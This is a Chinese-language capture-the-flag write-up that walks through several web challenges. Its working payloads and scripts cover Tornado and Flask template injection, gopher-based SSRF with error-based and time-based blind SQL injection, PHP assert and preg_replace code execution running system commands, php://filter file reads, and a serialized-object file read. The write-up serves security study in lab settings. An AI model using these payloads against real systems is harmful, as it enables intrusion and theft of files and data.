simple_js
进入环境 要求我们填密码
随便填个admin试试
显示错误 查看源码
进行代码审计,发现不论输入什么都会跳到假密码,真密码位于 fromCharCode
写python脚本进行转码即可:
string = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
s = string.split(",")
c = ""
for i in s:
i = chr(int(i))
c = c+i
print(c)
运行得到
即可得到falg
规范flag格式,可得到Cyberpeace{786OsErtk12}
Easytornado
打开环境 出现一个flag.txt 点击试试
出现了路径
我们填入试试
出现error
出现了msg这个参数很可疑
换个思路 查看welcome.txt试试
出现rende 怀疑是tornado render模板注入漏洞
查看hint.txt试试
看到这个cooike_secret可能为tornado render模板注入漏洞
我们验证试试
我们像msg传参个1
页面回显为1
测试一下:{{2*2}}
由此可以确定是tornado render模板注入漏洞
根据提示cooike_secret 可以通过{{handler.settings}}拿到cookie_secret的值
传入{{handler.settings}}试试
获得值
然后根据提示里面的加密方式 进行脚本破解
import hashlib def get_md5(content): md5 = hashlib.md5() md5.update(content.encode('utf-8')) return md5.hexdigest() filename="/fllllllllllllag" cookie_secret="3ef4e23d-734f-48f5-b0bc-7f0439e8f18b" no_md5_filehash=cookie_secret+get_md5(filename) filehash=get_md5(no_md5_filehash) print(filehash)
最后将/fllllllllllllag放到filename,将加密好的字符串放到filehash就可以得到falg
very_easy_sql
打开网页你不是内部用户
直接尝试在用户名密码处进行注入点测试,发现用单引号,双引号,括号都没有反应,右键查看源码,发现use.php注释。
打开试试
这里就很明显是ssrf漏洞了
SSRF全称为Server-side Request Fogery,中文含义为服务器端请求伪造,漏洞产生的原因是服务端提供了能够从其他服务器应用获取数据的功能,比如从指定的URL地址获取网页内容,加载指定地址的图片、数据、下载等等
ssrf的利用
- 分享,通过URL地址分享网页内容,通过URL获取目标页标签等内容
- 转码服务,适应硬件设备的大小;
- 图片的加载与下载
- 图片,文章的收藏;
太多的我也不多说 大家可以参考这篇文章
SSRF漏洞原理攻击与防御(超详细总结)_零点敲代码的博客-CSDN博客
那么我们现在就饿可以去利用漏洞
gopher协议
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
编写payload脚本,实现内部访问:
import urllib.parse
host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)
test =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
{}
""".format(host,content_length,content)
//按照标准,URL只允许一部分ASCII字符,其他字符(如汉字)是不符合标准的,此时就要进行编码。
因为我在构造URL的过程中要使用到中文:此时需要用到urllib.parse.quote,此处是为了替换特殊字符\
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
得到payload
将payload传入url
我们得到一个可以发现setcookie的值为admin的base64编码值。
猜测在setcookie处为注入点,首先测试是字符型还是整数型注入,
通过报错信息,可以找到闭合点为admin') #,但是很明显,此处有报错信息,直接使用报错注入。
payload为admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) # 检查是否可以进行报错注入
运用python脚本转换为gopher协议
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload
test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host,cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
获得payload如下
gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSkpICM%253D%250D%250A%250D%250A
如图可以看到,数据库信息被回显出来了,所以报错信息可以使用,接下来就是查库,查表、查列了。
查库
查数据库:admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #
脚本跟上边一样 改个payload一样
查表
查表:admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #
查列名
查flag表中的列:admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #
查字段
admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #
只有一半 我这里使用的是mid函数进行下一部分 的显示
具体文章可以看
关于SQL报错注入数据输出显示不完全的问题_文大。的博客-CSDN博客
Payload:admin') and extractvalue(1, concat(0x7e, mid((SELECT flag from flag),32,31),0x7e)) #
经过上边脚本就可以得到payload 进行bp传参就可以获得剩余falg
组合起来就是flag了
还有一种方法就是直接脚本得flag
import urllib.parse
import requests
import time
import base64
url = "http://61.147.171.105:65229/use.php?url="
flag = ""
for pos in range(1, 50):
for i in range(33, 127):
# poc="') union select 1,2,if(1=1,sleep(5),1) # "
# security
# poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
# flag
# poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
poc = "') union select 1,2,if(ascii( substr((select * from flag)," + str(pos) + ",1) )=" + str(
i) + ",sleep(2),1) # "
bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D" + bs + "%3B%250d%250a"
t1 = time.time()
res = requests.get(url + final_poc)
t2 = time.time()
if (t2 - t1 > 2):
flag += chr(i)
print(flag)
break
print(flag)
时间有点久 但哈斯可以爆出来
mfw
打开页面怀疑存在.git泄露
输入.git试试
确实存在git泄露那我们使用GitHack还原
还原成功后好好查看一下
那只能回到index.php看看
在index.php中发现关键代码
strpos()函数查找".."在$file中第一次出现的位置。如果没有找到则返回false
file_exists()函数检查$file是否存在
assert()函数会将括号中的字符当成代码来执行,并返回true或false
发现一个assert()函数,想到估计是代码执行漏洞,而$page没有任何的控制直接拼接,则利用assert()函数执行cat ./templates/flag.php来获得flag,那么要破坏原来的assert结构,才能使得我们目标才能达成。
发现file变量是用我们输入的page变量拼接而成的,而且没有任何的过滤,我们可以在这段输入的字符中插入system函数来执行系统命令
注意到调用file时用的单引号和括号来限制file的范围
那么我们构造如下payload:
?page=') or system('cat ./templates/flag.php');//
就可以获得flag
解析:
被传入之后变成:
$file="templates/') or system('cat ./templates/flag.php');//.php"
strpos()返回false,再利用or让其执行system函数,再用" // "将后面的语句注释掉
assert("strpos('template/') or system('cat ./template/flag.php');//.php, '..') === false")
下划线内容被注释掉了,所以真正执行了以下语句
strpos('template/') or system('cat ./template/flag.php');
ics-05
进入页面发现只有云设备维护中心能点动
接下来我就用dirserch扫描一下 发现了js css 路径
打开之后 没发现有用的东西 然后再次点击云设备维护中心发现了?page=index
猜测这里可能为伪协议读取
Payload:
?page=php://filter/read=convert.base64-encode/resource=index.php
得到一串base64字符串 解码获得一串代码
进行代码审计
(1)需要在html的头格式中伪造 IP : 127.0.0.1
这里用burpsuite伪造IP
出现 Welcome My Admin! 证明伪造成功
接下来是最关键的利用preg_replace()函数的/e漏洞进行代码执行
首先简单介绍一下preg_replace()函数
preg_replace($pattern, $replacement, $subject)
作用:搜索subject中匹配pattern的部分, 以replacement的内容进行替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
接着关于/e漏洞
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向
引用替换完之后)。
提示:要确保 replacement 构成一个合法的 PHP 代码字符串,
否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
也就是说只要在subject中有要搜索的pattern的内容,同时将在replacement前加上/e,触发/e漏洞,就可以执行replacement中的正确的php代码
后面就是利用这个漏洞去进行文件读取,找到关于flag的线索
第一步尝试使用 system(“ls”) 获取文件目录
找到这个文件之后 直接打开
发现flag直接打开
发现flag.php直接打开
空白 使用伪协议直接读取
Payload:?page=php://filter/read=convert.base64-encode/resource=s3chahahaDir/flag/flag.php
得到base64字符串‘解密得到flag
Shrine
进来就发现了Python的flask代码
整理得到
import flask
import os
app = flask.Flask(__name__) #创立实例
app.config['FLAG'] = os.environ.pop('FLAG') #以键值对的方式,保存app的信息
@app.route('/') #@表示装饰器,本质是扩展原本函数功能的一种函数,app.route('URL')在程序运行时,装饰一个视图函数,用给定的URL规则和选项注册它
def index():
return open(__file__).read() #打开文件读取
@app.route('/shrine/') #在程序运行时注册一个/sharine/的路经
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '') #替换(与为空,替换)为空
blacklist = ['config', 'self'] #黑名单config与self
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
稍加整理,可以发现这是python中的flask框架,有可能存在ssti漏洞模块注入,代码中两次提到了路径"/"与路径"/shrine",对于这两个路径尝试进行SSTI注入
在尝试几次以后发现在/shrine/路径下存在模块注入漏洞(flask模块注入用{{}}构建payload)
可以解析到,说明存在注入
,使用Python内置函数读取全局变量 url_for或者get_flashed_messages
url/shrine/{{url_for.__globals__}}
看到了属性的东西,代码审计的时候有 app.config['FLAG']
python沙箱逃逸的方法是 利用python对象之间的引用关系来调用被禁用的函数对象
构造payloads: /shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
得到flag
另外一个方法 get_flashed_messages利用信息闪现的方法构造一样(只能显示一次)
考点:
SSTI
Flask 框架
Bypass Sandbox
fakebook
打开页面有个login和join的页面
我们先扫描一下
发现robots.txt 和view.php flag.php 重要文件 我们打开看看
发现/user.php.bak的备份地址
我们下载这个文件 打开之后就是一段源代码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init(); #初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。
curl_setopt($ch, CURLOPT_URL, $url); #curl_setopt — 设置一个cURL传输选项。 CURLOPT_URL需要获取的URL地址,也可以在curl_init()函数中设置
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); # CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
$output = curl_exec($ch); #执行一个cURL会话
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);#//抓取URL并把它传递给浏览器,CURLINFO_HTTP_CODE最后一个收到的HTTP代码
if($httpCode == 404) {
return 404;
}
curl_close($ch);// 关闭cURL资源,并且释放系统资源
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
审计代码
创建user然后从url里get信息,同时blog有一个正则匹配,需要有https://(可有可无),然后是数字和字符,加一个. 然后是2-6个字母
创建个用户,主要注意blog
创建成功
点击aaa
url中有view.php 这也被我们扫描到了 还有no=1,很可能是sql注入尝试or'1'='1注入
发现存在注入 开始爆字段数
在5 的时候提示错误 说明只有4列
开始爆库名
应该是被过滤了 尝试过双写注入发现并不是过滤掉了union select
那可能就是空格被过滤了那我们就要绕过空格或者替换
我们使用/* */ 来代替空格 这里参考这边文章:
那我们就可以输入新的payload来获得库名
Paylaod:?no=2/**/union/**/select/**/1,2,3,database()#
提示库名在2字段
得到库名(接下来的payload都是很基本的下面就不列出了)
爆表名
爆列名
在几个字段里面,获取data的数据
得到一段序列化的字符串 看文中的提示/var/www/html/view.php,我们也可以去猜测flag.php有可能在统一文件夹下(之前扫描出了flag.php),如/var/www/html/flag.php
然后源代码中cuit_init()用来初始化一个curl会话,curl可以使用file伪协议读取文件
这样的话我们可以采用构造file协议去读取/var/www/html/flag.php的内容
满足这些条件的代码如下
<?php
class UserInfo
{
public $name = "aaa"; #任意
public $age = 12; #任意
public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
echo(serialize($a));
?>
所以最终的payload为:
Payload:
view.php?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"aaa";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#(传入的序列化参数需要加上 '')
然后在源码中发现base64字符串
解码就得到flag
另一种解法
mysql中的load_file函数,允许访问系统文件,并将内容以字符串形式返回,不过需要的权限很高,且函数参数要求文件的绝对路径。这巧了不是,条件全都有。
Payload:view.php?no=2 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#
源码查看获得flag
正确的思路流程应当为,得到备份文件,明确getBlogContents函数通过一个URL获取内容,并且URL由类实例化对象的blog参数提供。然后在构造userinfo对象序列化发现页面可以正常返回之后,就尝试修改序列化中的blog参数,发现页面中iframe的src暴露信息,进而想到可以使用伪协议读取flag,并让src显示。
lottery
打开页面先用dirsearch扫描一下
发现存在git泄露 当然也扫出了很多php文件
本来这道题应该先要使用Githack复原的但是攻防世界这边直接把源码给了我们
源码中关键函数在api.php
打开api.php文件
我们注意到requests是json格式的
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
这里到关键函数是 if($numbers[$i] == $win_numbers[$i]){$same_count++;} 这里就是函数到关键地方,当传入到numbers等于系统自动生成到参数,same_count加一,但是重点是这里并没有对传入到参数进行限制,而且这里的用的是"=="弱相等而不是"==="强相等,
===比较两个变量的值和类型;==比较两个变量的值,不比较数据类型。
在php中,如果bool和"任何其他类型"比较,"任何其他类型"会转换为bool。
在PHP中当转换为 boolean 时,以下值被认为是 FALSE :
(1) 布尔值 FALSE 本身
(2) 整型值 0(零)
(3)浮点型值 0.0(零)
(4)空字符串,以及字符串 “0”
(5)不包括任何元素的数组(注意,一旦包含元素,就算包含的元素只是一个空数组,也是true)
(6)不包括任何成员变量的对象(仅 PHP 4.0 适用)
(7)特殊类型 NULL(包括尚未赋值的变量)
(8)从空标记生成的 SimpleXML 对象
(9)所有其它值包括-1都被认为是 TRUE (包括任何资源)
当直接传入到字符串为ture时,等号"=="另一边到数字等于true成立
在输入抽奖数字页面,进行抓包,用户输入的数更改为true,并且需要是数组
Payload:{"action":"buy","numbers":[true,true,true,true,true,true,true]}
多发送几次 就可以赚取住够的钱购买flag